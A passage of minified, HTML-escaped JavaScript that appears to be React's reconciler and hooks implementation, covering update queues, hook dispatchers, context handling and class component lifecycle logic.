fe(lt);case Q:e:{for(sn=ht.key;Ve!==null;){if(Ve.key===sn)if(Ve.tag===4&amp;&amp;Ve.stateNode.containerInfo===ht.containerInfo&amp;&amp;Ve.stateNode.implementation===ht.implementation){b(lt,Ve.sibling),Ve=z(Ve,ht.children||[]),Ve.return=lt,lt=Ve;break e}else{b(lt,Ve);break}else m(lt,Ve);Ve=Ve.sibling}Ve=ZC(ht,lt.mode,mr),Ve.return=lt,lt=Ve}return fe(lt);case G:return sn=ht._init,Os(lt,Ve,sn(ht._payload),mr)}if(Kt(ht))return Fr(lt,Ve,ht,mr);if(ee(ht))return Or(lt,Ve,ht,mr);jh(lt,ht)}return typeof ht==&quot;string&quot;&amp;&amp;ht!==&quot;&quot;||typeof ht==&quot;number&quot;?(ht=&quot;&quot;+ht,Ve!==null&amp;&amp;Ve.tag===6?(b(lt,Ve.sibling),Ve=z(Ve,ht),Ve.return=lt,lt=Ve):(b(lt,Ve),Ve=YC(ht,lt.mode,mr),Ve.return=lt,lt=Ve),fe(lt)):b(lt,Ve)}return Os}var yl=x2(!0),fx=x2(!1),rA=uc(null),vp=null,Nh=null,hx=null;function mx(){hx=Nh=vp=null}function nA(f){var m=rA.current;ii(rA),f._currentValue=m}function Jo(f,m,b){for(;f!==null;){var k=f.alternate;if((f.childLanes&amp;m)!==m?(f.childLanes|=m,k!==null&amp;&amp;(k.childLanes|=m)):k!==null&amp;&amp;(k.childLanes&amp;m)!==m&amp;&amp;(k.childLanes|=m),f===b)break;f=f.return}}function bf(f,m){vp=f,hx=Nh=null,f=f.dependencies,f!==null&amp;&amp;f.firstContext!==null&amp;&amp;((f.lanes&amp;m)!==0&amp;&amp;(No=!0),f.firstContext=null)}function Xo(f){var m=f._currentValue;if(hx!==f)if(f={context:f,memoizedValue:m,next:null},Nh===null){if(vp===null)throw Error(r(308));Nh=f,vp.dependencies={lanes:0,firstContext:f}}else Nh=Nh.next=f;return m}var _u=null;function iA(f){_u===null?_u=[f]:_u.push(f)}function wf(f,m,b,k){var z=m.interleaved;return z===null?(b.next=b,iA(m)):(b.next=z.next,z.next=b),m.interleaved=b,bl(f,k)}function bl(f,m){f.lanes|=m;var b=f.alternate;for(b!==null&amp;&amp;(b.lanes|=m),b=f,f=f.return;f!==null;)f.childLanes|=m,b=f.alternate,b!==null&amp;&amp;(b.childLanes|=m),b=f,f=f.return;return b.tag===3?b.stateNode:null}var C0=!1;function Hc(f){f.updateQueue={baseState:f.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function Sh(f,m){f=f.updateQueue,m.updateQueue===f&amp;&amp;(m.updateQueue={baseState:f.baseState,firstBaseUpdate:f.firstBaseUpdate,lastBaseUpdate:f.lastBaseUpdate,shared:f.shared,effects:f.effects})}function dc(f,m){return{eventTime:f,lane:m,tag:0,payload:null,callback:null,next:null}}function qc(f,m,b){var k=f.updateQueue;if(k===null)return null;if(k=k.shared,(Ci&amp;2)!==0){var z=k.pending;return z===null?m.next=m:(m.next=z.next,z.next=m),k.pending=m,bl(f,b)}return z=k.interleaved,z===null?(m.next=m,iA(k)):(m.next=z.next,z.next=m),k.interleaved=m,bl(f,b)}function aA(f,m,b){if(m=m.updateQueue,m!==null&amp;&amp;(m=m.shared,(b&amp;4194240)!==0)){var k=m.lanes;k&amp;=f.pendingLanes,b|=k,m.lanes=b,mn(f,b)}}function Du(f,m){var b=f.updateQueue,k=f.alternate;if(k!==null&amp;&amp;(k=k.updateQueue,b===k)){var z=null,K=null;if(b=b.firstBaseUpdate,b!==null){do{var fe={eventTime:b.eventTime,lane:b.lane,tag:b.tag,payload:b.payload,callback:b.callback,next:null};K===null?z=K=fe:K=K.next=fe,b=b.next}while(b!==null);K===null?z=K=m:K=K.next=m}else z=K=m;b={baseState:k.baseState,firstBaseUpdate:z,lastBaseUpdate:K,shared:k.shared,effects:k.effects},f.updateQueue=b;return}f=b.lastBaseUpdate,f===null?b.firstBaseUpdate=m:f.next=m,b.lastBaseUpdate=m}function el(f,m,b,k){var z=f.updateQueue;C0=!1;var K=z.firstBaseUpdate,fe=z.lastBaseUpdate,ke=z.shared.pending;if(ke!==null){z.shared.pending=null;var Ue=ke,At=Ue.next;Ue.next=null,fe===null?K=At:fe.next=At,fe=Ue;var er=f.alternate;er!==null&amp;&amp;(er=er.updateQueue,ke=er.lastBaseUpdate,ke!==fe&amp;&amp;(ke===null?er.firstBaseUpdate=At:ke.next=At,er.lastBaseUpdate=Ue))}if(K!==null){var or=z.baseState;fe=0,er=At=Ue=null,ke=K;do{var Yt=ke.lane,Br=ke.eventTime;if((k&amp;Yt)===Yt){er!==null&amp;&amp;(er=er.next={eventTime:Br,lane:0,tag:ke.tag,payload:ke.payload,callback:ke.callback,next:null});e:{var Fr=f,Or=ke;switch(Yt=m,Br=b,Or.tag){case 1:if(Fr=Or.payload,typeof Fr==&quot;function&quot;){or=Fr.call(Br,or,Yt);break e}or=Fr;break e;case 3:Fr.flags=Fr.flags&amp;-65537|128;case 0:if(Fr=Or.payload,Yt=typeof Fr==&quot;function&quot;?Fr.call(Br,or,Yt):Fr,Yt==null)break e;or=ne({},or,Yt);break e;case 2:C0=!0}}ke.callback!==null&amp;&amp;ke.lane!==0&amp;&amp;(f.flags|=64,Yt=z.effects,Yt===null?z.effects=[ke]:Yt.push(ke))}else Br={eventTime:Br,lane:Yt,tag:ke.tag,payload:ke.payload,callback:ke.callback,next:null},er===null?(At=er=Br,Ue=or):er=er.next=Br,fe|=Yt;if(ke=ke.next,ke===null){if(ke=z.shared.pending,ke===null)break;Yt=ke,ke=Yt.next,Yt.next=null,z.lastBaseUpdate=Yt,z.shared.pending=null}}while(!0);if(er===null&amp;&amp;(Ue=or),z.baseState=Ue,z.firstBaseUpdate=At,z.lastBaseUpdate=er,m=z.shared.interleaved,m!==null){z=m;do fe|=z.lane,z=z.next;while(z!==m)}else K===null&amp;&amp;(z.shared.lanes=0);_p|=fe,f.lanes=fe,f.memoizedState=or}}function Ef(f,m,b){if(f=m.effects,m.effects=null,f!==null)for(m=0;m&lt;f.length;m++){var k=f[m],z=k.callback;if(z!==null){if(k.callback=null,k=b,typeof z!=&quot;function&quot;)throw Error(r(191,z));z.call(k)}}}var Cf={},Ll=uc(Cf),Tu=uc(Cf),If=uc(Cf);function Ru(f){if(f===Cf)throw Error(r(174));return f}function yp(f,m){switch(vi(If,m),vi(Tu,f),vi(Ll,Cf),f=m.nodeType,f){case 9:case 11:m=(m=m.documentElement)?m.namespaceURI:wt(null,&quot;&quot;);break;default:f=f===8?m.parentNode:m,m=f.namespaceURI||null,f=f.tagName,m=wt(m,f)}ii(Ll),vi(Ll,m)}function Gc(){ii(Ll),ii(Tu),ii(If)}function Bh(f){Ru(If.current);var m=Ru(Ll.current),b=wt(m,f.type);m!==b&amp;&amp;(vi(Tu,f),vi(Ll,b))}function bp(f){Tu.current===f&amp;&amp;(ii(Ll),ii(Tu))}var Pi=uc(0);function Pu(f){for(var m=f;m!==null;){if(m.tag===13){var b=m.memoizedState;if(b!==null&amp;&amp;(b=b.dehydrated,b===null||b.data===&quot;$?&quot;||b.data===&quot;$!&quot;))return m}else if(m.tag===19&amp;&amp;m.memoizedProps.revealOrder!==void 0){if((m.flags&amp;128)!==0)return m}else if(m.child!==null){m.child.return=m,m=m.child;continue}if(m===f)break;for(;m.sibling===null;){if(m.return===null||m.return===f)return null;m=m.return}m.sibling.return=m.return,m=m.sibling}return null}var Qu=[];function wp(){for(var f=0;f&lt;Qu.length;f++)Qu[f]._workInProgressVersionPrimary=null;Qu.length=0}var sA=_.ReactCurrentDispatcher,jf=_.ReactCurrentBatchConfig,hd=0,ca=null,Ta=null,Ra=null,md=!1,Fu=!1,Ep=0,kh=0;function Qs(){throw Error(r(321))}function Vc(f,m){if(m===null)return!1;for(var b=0;b&lt;m.length&amp;&amp;b&lt;f.length;b++)if(!io(f[b],m[b]))return!1;return!0}function Wc(f,m,b,k,z,K){if(hd=K,ca=m,m.memoizedState=null,m.updateQueue=null,m.lanes=0,sA.current=f===null||f.memoizedState===null?E2:tl,f=b(k,z),Fu){K=0;do{if(Fu=!1,Ep=0,25&lt;=K)throw Error(r(301));K+=1,Ra=Ta=null,m.updateQueue=null,sA.current=Lu,f=b(k,z)}while(Fu)}if(sA.current=ss,m=Ta!==null&amp;&amp;Ta.next!==null,hd=0,Ra=Ta=ca=null,md=!1,m)throw Error(r(300));return f}function as(){var f=Ep!==0;return Ep=0,f}function oo(){var f={memoizedState:null,baseState:null,baseQueue:null,queue:null,next:null};return Ra===null?ca.memoizedState=Ra=f:Ra=Ra.next=f,Ra}function cn(){if(Ta===null){var f=ca.alternate;f=f!==null?f.memoizedState:null}else f=Ta.next;var m=Ra===null?ca.memoizedState:Ra.next;if(m!==null)Ra=m,Ta=f;else{if(f===null)throw Error(r(310));Ta=f,f={memoizedState:Ta.memoizedState,baseState:Ta.baseState,baseQueue:Ta.baseQueue,queue:Ta.queue,next:null},Ra===null?ca.memoizedState=Ra=f:Ra=Ra.next=f}return Ra}function Qi(f,m){return typeof m==&quot;function&quot;?m(f):m}function Va(f){var m=cn(),b=m.queue;if(b===null)throw Error(r(311));b.lastRenderedReducer=f;var k=Ta,z=k.baseQueue,K=b.pending;if(K!==null){if(z!==null){var fe=z.next;z.next=K.next,K.next=fe}k.baseQueue=z=K,b.pending=null}if(z!==null){K=z.next,k=k.baseState;var ke=fe=null,Ue=null,At=K;do{var er=At.lane;if((hd&amp;er)===er)Ue!==null&amp;&amp;(Ue=Ue.next={lane:0,action:At.action,hasEagerState:At.hasEagerState,eagerState:At.eagerState,next:null}),k=At.hasEagerState?At.eagerState:f(k,At.action);else{var or={lane:er,action:At.action,hasEagerState:At.hasEagerState,eagerState:At.eagerState,next:null};Ue===null?(ke=Ue=or,fe=k):Ue=Ue.next=or,ca.lanes|=er,_p|=er}At=At.next}while(At!==null&amp;&amp;At!==K);Ue===null?fe=k:Ue.next=ke,io(k,m.memoizedState)||(No=!0),m.memoizedState=k,m.baseState=fe,m.baseQueue=Ue,b.lastRenderedState=k}if(f=b.interleaved,f!==null){z=f;do K=z.lane,ca.lanes|=K,_p|=K,z=z.next;while(z!==f)}else z===null&amp;&amp;(b.lanes=0);return[m.memoizedState,b.dispatch]}function _h(f){var m=cn(),b=m.queue;if(b===null)throw Error(r(311));b.lastRenderedReducer=f;var k=b.dispatch,z=b.pending,K=m.memoizedState;if(z!==null){b.pending=null;var fe=z=z.next;do K=f(K,fe.action),fe=fe.next;while(fe!==z);io(K,m.memoizedState)||(No=!0),m.memoizedState=K,m.baseQueue===null&amp;&amp;(m.baseState=K),b.lastRenderedState=K}return[K,k]}function Nf(){}function pd(f,m){var b=ca,k=cn(),z=m(),K=!io(k.memoizedState,z);if(K&amp;&amp;(k.memoizedState=z,No=!0),k=k.queue,bs(Sf.bind(null,b,k,f),[f]),k.getSnapshot!==m||K||Ra!==null&amp;&amp;Ra.memoizedState.tag&amp;1){if(b.flags|=2048,Yc(9,Dh.bind(null,b,k,z,m),void 0,null),So===null)throw Error(r(349));(hd&amp;30)!==0||oA(b,m,z)}return z}function oA(f,m,b){f.flags|=16384,f={getSnapshot:m,value:b},m=ca.updateQueue,m===null?(m={lastEffect:null,stores:null},ca.updateQueue=m,m.stores=[f]):(b=m.stores,b===null?m.stores=[f]:b.push(f))}function Dh(f,m,b,k){m.value=b,m.getSnapshot=k,v2(m)&amp;&amp;lA(f)}function Sf(f,m,b){return b(function(){v2(m)&amp;&amp;lA(f)})}function v2(f){var m=f.getSnapshot;f=f.value;try{var b=m();return!io(f,b)}catch{return!0}}function lA(f){var m=bl(f,1);m!==null&amp;&amp;S0(m,f,1,-1)}function Kc(f){var m=oo();return typeof f==&quot;function&quot;&amp;&amp;(f=f()),m.memoizedState=m.baseState=f,f={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:Qi,lastRenderedState:f},m.queue=f,f=f.dispatch=j0.bind(null,ca,f),[m.memoizedState,f]}function Yc(f,m,b,k){return f={tag:f,create:m,destroy:b,deps:k,next:null},m=ca.updateQueue,m===null?(m={lastEffect:null,stores:null},ca.updateQueue=m,m.lastEffect=f.next=f):(b=m.lastEffect,b===null?m.lastEffect=f.next=f:(k=b.next,b.next=f,f.next=k,m.lastEffect=f)),f}function I0(){return cn().memoizedState}function Ou(f,m,b,k){var z=oo();ca.flags|=f,z.memoizedState=Yc(1|m,b,void 0,k===void 0?null:k)}function Th(f,m,b,k){var z=cn();k=k===void 0?null:k;var K=void 0;if(Ta!==null){var fe=Ta.memoizedState;if(K=fe.destroy,k!==null&amp;&amp;Vc(k,fe.deps)){z.memoizedState=Yc(m,b,K,k);return}}ca.flags|=f,z.memoizedState=Yc(1|m,b,K,k)}function px(f,m){return Ou(8390656,8,f,m)}function bs(f,m){return Th(2048,8,f,m)}function cA(f,m){return Th(4,2,f,m)}function uA(f,m){return Th(4,4,f,m)}function Cp(f,m){if(typeof m==&quot;function&quot;)return f=f(),m(f),function(){m(null)};if(m!=null)return f=f(),m.current=f,function(){m.current=null}}function Bf(f,m,b){return b=b!=null?b.concat([f]):null,Th(4,4,Cp.bind(null,m,f),b)}function Ip(){}function y2(f,m){var b=cn();m=m===void 0?null:m;var k=b.memoizedState;return k!==null&amp;&amp;m!==null&amp;&amp;Vc(m,k[1])?k[0]:(b.memoizedState=[f,m],f)}function b2(f,m){var b=cn();m=m===void 0?null:m;var k=b.memoizedState;return k!==null&amp;&amp;m!==null&amp;&amp;Vc(m,k[1])?k[0]:(f=f(),b.memoizedState=[f,m],f)}function w2(f,m,b){return(hd&amp;21)===0?(f.baseState&amp;&amp;(f.baseState=!1,No=!0),f.memoizedState=b):(io(b,m)||(b=wr(),ca.lanes|=b,_p|=b,f.baseState=!0),m)}function Fs(f,m){var b=Kr;Kr=b!==0&amp;&amp;4&gt;b?b:4,f(!0);var k=jf.transition;jf.transition={};try{f(!1),m()}finally{Kr=b,jf.transition=k}}function gx(){return cn().memoizedState}function Rh(f,m,b){var k=zh(f);if(b={lane:k,action:b,hasEagerState:!1,eagerState:null,next:null},jo(f))dA(m,b);else if(b=wf(f,m,b,k),b!==null){var z=Ml();S0(b,f,k,z),Ax(b,m,k)}}function j0(f,m,b){var k=zh(f),z={lane:k,action:b,hasEagerState:!1,eagerState:null,next:null};if(jo(f))dA(m,z);else{var K=f.alternate;if(f.lanes===0&amp;&amp;(K===null||K.lanes===0)&amp;&amp;(K=m.lastRenderedReducer,K!==null))try{var fe=m.lastRenderedState,ke=K(fe,b);if(z.hasEagerState=!0,z.eagerState=ke,io(ke,fe)){var Ue=m.interleaved;Ue===null?(z.next=z,iA(m)):(z.next=Ue.next,Ue.next=z),m.interleaved=z;return}}catch{}b=wf(f,m,z,k),b!==null&amp;&amp;(z=Ml(),S0(b,f,k,z),Ax(b,m,k))}}function jo(f){var m=f.alternate;return f===ca||m!==null&amp;&amp;m===ca}function dA(f,m){Fu=md=!0;var b=f.pending;b===null?m.next=m:(m.next=b.next,b.next=m),f.pending=m}function Ax(f,m,b){if((b&amp;4194240)!==0){var k=m.lanes;k&amp;=f.pendingLanes,b|=k,m.lanes=b,mn(f,b)}}var ss={readContext:Xo,useCallback:Qs,useContext:Qs,useEffect:Qs,useImperativeHandle:Qs,useInsertionEffect:Qs,useLayoutEffect:Qs,useMemo:Qs,useReducer:Qs,useRef:Qs,useState:Qs,useDebugValue:Qs,useDeferredValue:Qs,useTransition:Qs,useMutableSource:Qs,useSyncExternalStore:Qs,useId:Qs,unstable_isNewReconciler:!1},E2={readContext:Xo,useCallback:function(f,m){return oo().memoizedState=[f,m===void 0?null:m],f},useContext:Xo,useEffect:px,useImperativeHandle:function(f,m,b){return b=b!=null?b.concat([f]):null,Ou(4194308,4,Cp.bind(null,m,f),b)},useLayoutEffect:function(f,m){return Ou(4194308,4,f,m)},useInsertionEffect:function(f,m){return Ou(4,2,f,m)},useMemo:function(f,m){var b=oo();return m=m===void 0?null:m,f=f(),b.memoizedState=[f,m],f},useReducer:function(f,m,b){var k=oo();return m=b!==void 0?b(m):m,k.memoizedState=k.baseState=m,f={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:f,lastRenderedState:m},k.queue=f,f=f.dispatch=Rh.bind(null,ca,f),[k.memoizedState,f]},useRef:function(f){var m=oo();return f={current:f},m.memoizedState=f},useState:Kc,useDebugValue:Ip,useDeferredValue:function(f){return oo().memoizedState=f},useTransition:function(){var f=Kc(!1),m=f[0];return f=Fs.bind(null,f[1]),oo().memoizedState=f,[m,f]},useMutableSource:function(){},useSyncExternalStore:function(f,m,b){var k=ca,z=oo();if(Bn){if(b===void 0)throw Error(r(407));b=b()}else{if(b=m(),So===null)throw Error(r(349));(hd&amp;30)!==0||oA(k,m,b)}z.memoizedState=b;var K={value:b,getSnapshot:m};return z.queue=K,px(Sf.bind(null,k,K,f),[f]),k.flags|=2048,Yc(9,Dh.bind(null,k,K,b,m),void 0,null),b},useId:function(){var f=oo(),m=So.identifierPrefix;if(Bn){var b=ot,k=mt;b=(k&amp;~(1&lt;&lt;32-Sa(k)-1)).toString(32)+b,m=&quot;:&quot;+m+&quot;R&quot;+b,b=Ep++,0&lt;b&amp;&amp;(m+=&quot;H&quot;+b.toString(32)),m+=&quot;:&quot;}else b=kh++,m=&quot;:&quot;+m+&quot;r&quot;+b.toString(32)+&quot;:&quot;;return f.memoizedState=m},unstable_isNewReconciler:!1},tl={readContext:Xo,useCallback:y2,useContext:Xo,useEffect:bs,useImperativeHandle:Bf,useInsertionEffect:cA,useLayoutEffect:uA,useMemo:b2,useReducer:Va,useRef:I0,useState:function(){return Va(Qi)},useDebugValue:Ip,useDeferredValue:function(f){var m=cn();return w2(m,Ta.memoizedState,f)},useTransition:function(){var f=Va(Qi)[0],m=cn().memoizedState;return[f,m]},useMutableSource:Nf,useSyncExternalStore:pd,useId:gx,unstable_isNewReconciler:!1},Lu={readContext:Xo,useCallback:y2,useContext:Xo,useEffect:bs,useImperativeHandle:Bf,useInsertionEffect:cA,useLayoutEffect:uA,useMemo:b2,useReducer:_h,useRef:I0,useState:function(){return _h(Qi)},useDebugValue:Ip,useDeferredValue:function(f){var m=cn();return Ta===null?m.memoizedState=f:w2(m,Ta.memoizedState,f)},useTransition:function(){var f=_h(Qi)[0],m=cn().memoizedState;return[f,m]},useMutableSource:Nf,useSyncExternalStore:pd,useId:gx,unstable_isNewReconciler:!1};function Zc(f,m){if(f&amp;&amp;f.defaultProps){m=ne({},m),f=f.defaultProps;for(var b in f)m[b]===void 0&amp;&amp;(m[b]=f[b]);return m}return m}function gd(f,m,b,k){m=f.memoizedState,b=b(k,m),b=b==null?m:ne({},m,b),f.memoizedState=b,f.lanes===0&amp;&amp;(f.updateQueue.baseState=b)}var fA={isMounted:function(f){return(f=f._reactInternals)?si(f)===f:!1},enqueueSetState:function(f,m,b){f=f._reactInternals;var k=Ml(),z=zh(f),K=dc(k,z);K.payload=m,b!=null&amp;&amp;(K.callback=b),m=qc(f,K,z),m!==null&amp;&amp;(S0(m,f,z,k),aA(m,f,z))},enqueueReplaceState:function(f,m,b){f=f._reactInternals;var k=Ml(),z=zh(f),K=dc(k,z);K.tag=1,K.payload=m,b!=null&amp;&amp;(K.callback=b),m=qc(f,K,z),m!==null&amp;&amp;(S0(m,f,z,k),aA(m,f,z))},enqueueForceUpdate:function(f,m){f=f._reactInternals;var b=Ml(),k=zh(f),z=dc(b,k);z.tag=2,m!=null&amp;&amp;(z.callback=m),m=qc(f,z,k),m!==null&amp;&amp;(S0(m,f,k,b),aA(m,f,k))}};function Ph(f,m,b,k,z,K,fe){return f=f.stateNode,typeof f.shouldComponentUpdate==&quot;function&quot;?f.shouldComponentUpdate(k,K,fe):m.prototype&amp;&amp;m.prototype.isPureReactComponent?!Cu(b,k)||!Cu(z,K):!0}function C2(f,m,b){var k=!1,z=Io,K=m.contextType;return typeof K==&quot;object&quot;&amp;&amp;K!==null?K=Xo(K):(z=Ps(m)?Bu:Ts.current,k=m.contextTypes,K=(k=k!=null)?ku(f,z):Io),m=new m(b,K),f.memoizedState=m.state!==null&amp;&amp;m.state!==void 0?m.state:null,m.updater=fA,f.stateNode=m,m._reactInternals=f,k&amp;&amp;(f=f.stateNode,f.__reactInternalMemoizedUnmaskedChildContext=z,f.__reactInternalMemoizedMaskedChildContext=K),m}function Wa(f,m,b,k){f=m.state,typeof m.componentWillReceiveProps==&quot;function&quot;&amp;&amp;m.componentWillReceiveProps(b,k),typeof m.UNSAFE_componentWillReceiveProps==&quot;function&quot;&amp;&amp;m.UNSAFE_componentWillReceiveProps(b,k),m.state!==f&amp;&amp;fA.enqueueReplaceState(m,m.state,null)}function Wi(f,m,b,k){var z=f.stateNode;z.props=b,z.state=f.memoizedState,z.refs={},Hc(f);var K=m.contextType;typeof K==&quot;object&quot;&amp;&amp;K!==null?z.context=Xo(K):(K=Ps(m)?Bu:Ts.current,z.context=ku(f,K)),z.state=f.memoizedState,K=m.getDerivedStateFromProps,typeof K==&quot;function&quot;&amp;&amp;(gd(f,m,K,b),z.state=f.memoizedState),typeof m.getDerivedStateFromProps==&quot;function&quot;||typeof z.getSnapshotBeforeUpdate==&quot;function&quot;||typeof z.UNSAFE_componentWillMount!=&quot;function&quot;&amp;&amp;typeof z.componentWillMount!=&quot;function&quot;||(m=z.state,typeof z.componentWillMount==&quot;function&quot;&amp;&amp;z.componentWillMount(),typeof z.UNSAFE_componentWillMount==&quot;function&quot;&amp;&amp;z.UNSAFE_componentWillMount(),m!==z.state&amp;&amp;fA.enqueueReplaceState(z,z.state,null),el(f,b,z,k),z.state=f.memoizedState),typeof z.componentDidMount==&quot;function&quot;&amp;&amp;(f.flags|=4194308)}function _n(f,m){try{var b=&quot;&quot;,k=m;do b+=_e(k),k=k.return;while(k);var z=b}catch(K){z=`
Error generating stack: `+K.message+`
`+K.stack}return{value:f,source:m,stack:z,digest:null}}function ui(f,m,b){return{value:f,source:null,stack:b??null,digest:m??null}}function wa(f,m){try{console.error(m.value)}catch(b){setTimeout(function(){throw b})}}var Jc=typeof WeakMap==&quot;function&quot;?WeakMap:Map;function jp(f,m,b){b=dc(-1,b),b.tag=3,b.payload={element:null};var k=m.value;return b.callback=function(){N2||(N2=!0,zC=k),wa(f,m)},b}function hA(f,m,b){b=dc(-1,b),b.tag=3;var k=f.type.getDerivedStateFromError;if(typeof k==&quot;function&quot;){var z=m.value;b.payload=function(){return k(z)},b.callback=function(){wa(f,m)}}var K=f.stateNode;return K!==null&amp;&amp;typeof K.componentDidCatch==&quot;function&quot;&amp;&amp;(b.callback=function(){wa(f,m),typeof k!=&quot;function&quot;&amp;&amp;(Mh===null?Mh=new Set([this]):Mh.add(this));var fe=m.stack;this.componentDidCatch(m.value,{componentStack:fe!==null?fe:&quot;&quot;})}),b}function Mu(f,m,b){var k=f.pingCache;if(k===null){k=f.pingCache=new Jc;var z=new Set;k.set(m,z)}else z=k.get(m),z===void 0&amp;&amp;(z=new Set,k.set(m,z));z.has(b)||(z.add(b),f=_ne.bind(null,f,m,b),m.then(f,f))}function os(f){do{var m;if((m=f.tag===13)&amp;&amp;(m=f.memoizedState,m=m!==null?m.dehydrated!==null:!0),m)return f;f=f.return}while(f!==null);return null}function Uu(f,m,b,k,z){return(f.mode&amp;1)===0?(f===m?f.flags|=65536:(f.flags|=128,b.flags|=131072,b.flags&amp;=-52805,b.tag===1&amp;&amp;(b.alternate===null?b.tag=17:(m=dc(-1,1),m.tag=2,qc(b,m,1))),b.lanes|=1),f):(f.flags|=65536,f.lanes=z,f)}var Ad=_.ReactCurrentOwner,No=!1;function ea(f,m,b,k){m.child=f===null?fx(m,null,b,k):yl(m,f.child,b,k)}function Qh(f,m,b,k,z){b=b.render;var K=m.ref;return bf(m,z),k=Wc(f,m,b,k,K,z),b=as(),f!==null&amp;&amp;!No?(m.updateQueue=f.updateQueue,m.flags&amp;=-2053,f.lanes&amp;=~z,se(f,m,z)):(Bn&amp;&amp;b&amp;&amp;Jr(m),m.flags|=1,ea(f,m,k,z),m.child)}function Fh(f,m,b,k,z){if(f===null){var K=b.type;return typeof K==&quot;function&quot;&amp;&amp;!KC(K)&amp;&amp;K.defaultProps===void 0&amp;&amp;b.compare===null&amp;&amp;b.defaultProps===void 0?(m.tag=15,m.type=K,Xc(f,m,K,k,z)):(f=T2(b.type,null,k,m,m.mode,z),f.ref=m.ref,f.return=m,m.child=f)}if(K=f.child,(f.lanes&amp;z)===0){var fe=K.memoizedProps;if(b=b.compare,b=b!==null?b:Cu,b(fe,k)&amp;&amp;f.ref===m.ref)return se(f,m,z)}return m.flags|=1,f=Hh(K,k),f.ref=m.ref,f.return=m,m.child=f}function Xc(f,m,b,k,z){if(f!==null){var K=f.memoizedProps;if(Cu(K,k)&amp;&amp;f.ref===m.ref)if(No=!1,m.pendingProps=k=K,(f.lanes&amp;z)!==0)(f.flags&amp;131072)!==0&amp;&amp;(No=!0);else return m.lanes=f.lanes,se(f,m,z)}return Np(f,m,b,k,z)}function mA(f,m,b){var k=m.pendingProps,z=k.children,K=f!==null?f.memoizedState:null;if(k.mode===&quot;hidden&quot;)if((m.mode&amp;1)===0)m.memoizedState={baseLanes:0,cachePool:null,transitions:null},vi(AA,tu),tu|=b;else{if((b&amp;1073741824)===0)return f=K!==null?K.baseLanes|b:b,m.lanes=m.childLanes=1073741824,m.memoizedState={baseLanes:f,cachePool:null,transitions:null},m.updateQueue=null,vi(AA,tu),tu|=f,null;m.memoizedState={baseLanes:0,cachePool:null,transitions:null},k=K!==null?K.baseLanes:b,vi(AA,tu),tu|=k}else K!==null?(k=K.baseLanes|b,m.memoizedState=null):k=b,vi(AA,tu),tu|=k;return ea(f,m,z,b),m.child}function pA(f,m){var b=m.ref;(f===null&amp;&amp;b!==null||f!==null&amp;&amp;f.ref!==b)&amp;&amp;(m.flags|=512,m.flags|=2097152)}function Np(f,m,b,k,z){var K=Ps(b)?Bu:Ts.current;return K=ku(m,K),bf(m,z),b=Wc(f,m,b,k,K,z),k=as(),f!==null&amp;&amp;!No?(m.updateQueue=f.updateQueue,m.flags&amp;=-2053,f.lanes&amp;=~z,se(f,m,z)):(Bn&amp;&amp;k&amp;&amp;Jr(m),m.flags|=1,ea(f,m,b,z),m.child)}function Sp(f,m,b,k,z){if(Ps(b)){var K=!0;N(m)}else K=!1;if(bf(m,z),m.stateNode===null)Z(f,m),C2(m,b,k),Wi(m,b,k,z),k=!0;else if(f===null){var fe=m.stateNode,ke=m.memoizedProps;fe.props=ke;var Ue=fe.context,At=b.contextType;typeof At==&quot;object&quot;&amp;&amp;At!==null?At=Xo(At):(At=Ps(b)?Bu:Ts.current,At=ku(m,At));var er=b.getDerivedStateFromProps,or=typeof er==&quot;function&quot;||typeof fe.getSnapshotBeforeUpdate==&quot;function&quot;;or||typeof fe.UNSAFE_componentWillReceiveProps!=&quot;function&quot;&amp;&amp;typeof fe.componentWillReceiveProps!=&quot;function&quot;||(ke!==k||Ue!==At)&amp;&amp;Wa(m,fe,k,At),C0=!1;var Yt=m.memoizedState;fe.state=Yt,el(m,k,fe,z),Ue=m.memoizedState,ke!==k||Yt!==Ue||Rs.current||C0?(typeof er==&quot;function&quot;&amp;&amp;(gd(m,b,er,k),Ue=m.memoizedState),(ke=C0||Ph(m,b,ke,k,Yt,Ue,At))?(or||typeof fe.UNSAFE_componentWillMount!=&quot;function&quot;&amp;&amp;typeof fe.componentWillMount!=&quot;function&quot;||(typeof fe.componentWillMount==&quot;function&quot;&amp;&amp;fe.componentWillMount(),typeof fe.UNSAFE_componentWillMount==&quot;function&quot;&amp;&amp;fe.UNSAFE_componentWillMount()),typeof fe.componentDidMount==&quot;function&quot;&amp;&amp;(m.flags|=4194308)):(typeof fe.componentDidMount==&quot;function&quot;&amp;&amp;(m.flags|=4194308),m.memoizedProps=k,m.memoizedState=Ue),fe.props=k,fe.state=Ue,fe.context=At,k=ke):(typeof fe.componentDidMount==&quot;function&quot;&amp;&amp;(m.flags|=4194308),k=!1)}else{fe=m.stateNode,Sh(f,m),ke=m.memoizedProps,At=m.type===m.elementType?ke:Zc(m.type,ke),fe.props=At,or=m.pendingProps,Yt=fe.context,Ue=b.contextType,typeof Ue==&quot;object&quot;&amp;&amp;Ue!==null?Ue=Xo(Ue):(Ue=Ps(b)?Bu:Ts.current,Ue=ku(m,Ue));var Br=b.getDerivedStateFromProps;(er=typeof Br==&quot;function&quot;||typeof fe.getSnapshotBeforeUpdate==&quot;function&quot;)||typeof fe.UNSAFE_componentWillReceiveProps!=&quot;function&quot;&amp;&amp;typeof fe.componentWillReceiveProps!=&quot;function&quot;||(ke!==or||Yt!==Ue)&amp;&amp;Wa(m,fe,k,Ue),C0=!1,Yt=m.memoizedState,fe.state=Yt,el(m,k,fe,z);var Fr=m.memoizedState;ke!==or||Yt!==Fr||Rs.current||C0?(typeof Br==&quot;function&quot;&amp;&amp;(gd(m,b,Br,k),Fr=m.memoizedState),(At=C0||Ph(m,b,At,k,Yt,Fr,Ue)||!1)?(er||typeof fe.UNSAFE_componentWillUpdate!=&quot;function&quot;&amp;&amp;typeof fe.componentWillUpdate!=&quot;function&quot;||(typeof fe.componentWillUpdate==&quot;function&quot;&amp;&amp;fe.componentWillUpdate(k,Fr,Ue),typeof fe.UNSAFE_componentWillUpdate==&quot;function&quot;&amp;&amp;fe.UNSAFE_componentWillUpdate(k,Fr,Ue)),typeof fe.componentDidUpdate==&quot;function&quot;&amp;&amp;(m.flags|=4),typeof fe.getSnapshotBeforeUpdate==&quot;function&quot;&amp;&amp;(m.flags|=1024)):(typeof 